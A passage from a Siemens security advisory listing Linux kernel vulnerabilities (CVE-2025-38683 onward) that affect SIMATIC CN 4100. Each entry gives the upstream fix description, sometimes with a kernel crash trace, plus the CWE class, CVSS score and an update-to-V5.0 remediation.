stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as 